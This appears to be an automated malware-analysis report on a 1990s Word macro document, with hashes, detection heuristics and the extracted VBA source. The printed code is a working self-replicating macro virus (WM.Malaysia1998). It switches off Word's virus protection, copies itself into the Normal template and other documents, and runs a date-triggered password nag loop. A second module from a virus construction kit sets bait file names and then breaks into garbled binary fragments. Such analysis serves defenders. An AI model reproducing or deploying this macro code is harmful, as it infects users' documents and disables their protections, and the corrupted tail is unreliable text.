Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 78d55a8fa728c2be…

MALICIOUS

Office (OLE)

32.5 KB Created: 1999-06-08 21:30:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 54a0ccc2f68d785364c7f12e9cab02e1 SHA-1: a6abcd614be668756dd5e1aac40405f03ee01516 SHA-256: 78d55a8fa728c2be06cbfbfef3aa377c33af57700823a5f74d00617b5d493937
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains legacy WordBasic and VBA macros, including an AutoOpen macro, which are commonly used to initiate malicious actions upon opening the document. The presence of these macros and the ClamAV detection strongly suggest this document is a malicious attachment designed to execute further stages of an attack. The VBA code appears to be designed to disable macro security and potentially download additional payloads, though the exact mechanism is obfuscated.

Heuristics 4

  • ClamAV: Doc.Trojan.Preteced-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Preteced-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6226 bytes
SHA-256: 5767b99be99718eb71bd71de2c3e9b0deac3ae9928f1be1e9ce3868101342f14
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Malaysia1998"

Sub AutoExec()

Options.VirusProtection = False

End Sub

Sub AutoOpen()

On Error GoTo err
Options.SaveNormalPrompt = False
DocumentToNormal
NormalTemplate.Save
err:

End Sub

Sub FileOpen()

Application.EnableCancelKey = wdCancelDisabled
On Error GoTo err
   Options.VirusProtection = False
   Dialogs(wdDialogFileOpen).Show
err:
Application.EnableCancelKey = wdCancelInterrupt

End Sub

Sub FileSave()

Application.EnableCancelKey = wdCancelDisabled
Trigger
On Error GoTo err
   NormalToDocument
   ActiveDocument.Save
err:
Application.EnableCancelKey = wdCancelInterrupt

End Sub

Sub FileSaveAs()
Attribute FileSaveAs.VB_Description = "Macro recorded 04/09/98 by Ng Bing Yew"
Attribute FileSaveAs.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.Macro2"

Application.EnableCancelKey = wdCancelDisabled
Trigger
On Error GoTo err
   NormalToDocument
   Dialogs(wdDialogFileSaveAs).Show
err:
Application.EnableCancelKey = wdCancelInterrupt

End Sub

Sub NormalToDocument()

On Error GoTo err
   cur_doc = ActiveDocument.FullName
   global_temp = NormalTemplate.FullName
   macroname = "Malaysia1998"
   Application.OrganizerCopy Source:=global_temp, _
   Destination:=cur_doc, Name:=macroname, _
   Object:=wdOrganizerObjectProjectItems
err:

End Sub

Sub DocumentToNormal()

On Error GoTo err
   cur_doc = ActiveDocument.FullName
   global_temp = NormalTemplate.FullName
   macroname = "Malaysia1998"
   Application.OrganizerCopy Source:=cur_doc, _
                             Destination:=global_temp, _
                             Name:=macroname, _
                             Object:=wdOrganizerObjectProjectItems
err:
   
End Sub

Sub Trigger()

On Error GoTo err
   Todaydate = Date
   If (Month(Todaydate) = 8) And (Day(Todaydate) = 30) Then
       Do
         cr = Chr(13) + Chr(10)
         titles = "WM.MALAYSIA 1998"
         msg1 = "You are lucky!!! You have met WM.MALAYSIA 1998!!!" + cr
         msg2 = "WM.MALAYSIA 1998 is Malaysian's first MACRO VIRUS." + cr
         msg3 = "It is written by a young college student -- BAD LOGIC." + cr
         msg4 = cr + cr + cr + cr + "Please ENTER CORRECT password: "
         msg = msg1 + msg2 + msg3 + msg4
         response = InputBox(msg, titles)
       Loop While (response <> "WM.MALAYSIA 1998")
    End If
err:

End Sub


Attribute VB_Name = "Redkilla"
    
Public Skip As Integer
    
    
Sub Redkilla()
    'The VicodinES Macro.Poppy Construction Kit v1.0c
    '====================================================
    'Code Written by VicodinES---------------------------
    
    'Poppy ID : 85888822-234 Compatable with SR-1
    'I Give You ---> Redkilla.Poppy !! Dig It !!
    
On Error Resume Next
Randomize
sv = Int(Rnd * 3) + 1
If sv = 1 Then svt$ = "porno.doc"
If sv = 3 Then svt$ = "readme!.doc"
If sv = 2 Then svt$ = "sex.doc"
k10098 = m9800 & e14432
f11657 = u10760 & c7467 & Int(Rnd * 2848)
k8549 = m2159 & e9102
Options.ConfirmConversions = False
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Application.VBE.ActiveVBProject.VBComponents("Redkilla").Export "c:\Redkilla.sys"
f13349 = u16025 & c18152 & Int(Rnd * 7874)
f7504 = u8393 & c2811 & Int(Rnd * 5361)
ActiveDocument.ReadOnlyRecommende ende ende ende ende ende  inE ieouetRaOlRcmed need need ne n eutalce edne enetleen ntennennAttri      ÿÿÿÿ   ÿÿÿÿÿÿ                                                            ÿÿÿÿ=============
  'oeWitnb ioiE-----eWitnb ioiE-----eWitnb ioiE-----eW=======o -Yu-- eklaPpy! i t!
  
O ro eueNx
R-----
    
    'Poppy ID : 85888888Þ   _        c
I v=2Te v$="e.o"
108=m80&e43
f15  170&c47&ItRd*24)
84  25  90
Otosssssssssss rÕvÕ  ÿÿÿÿÿÿÿÿ                                ÿÿ  {  Ö   Ö  [!    ÿÿ[
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.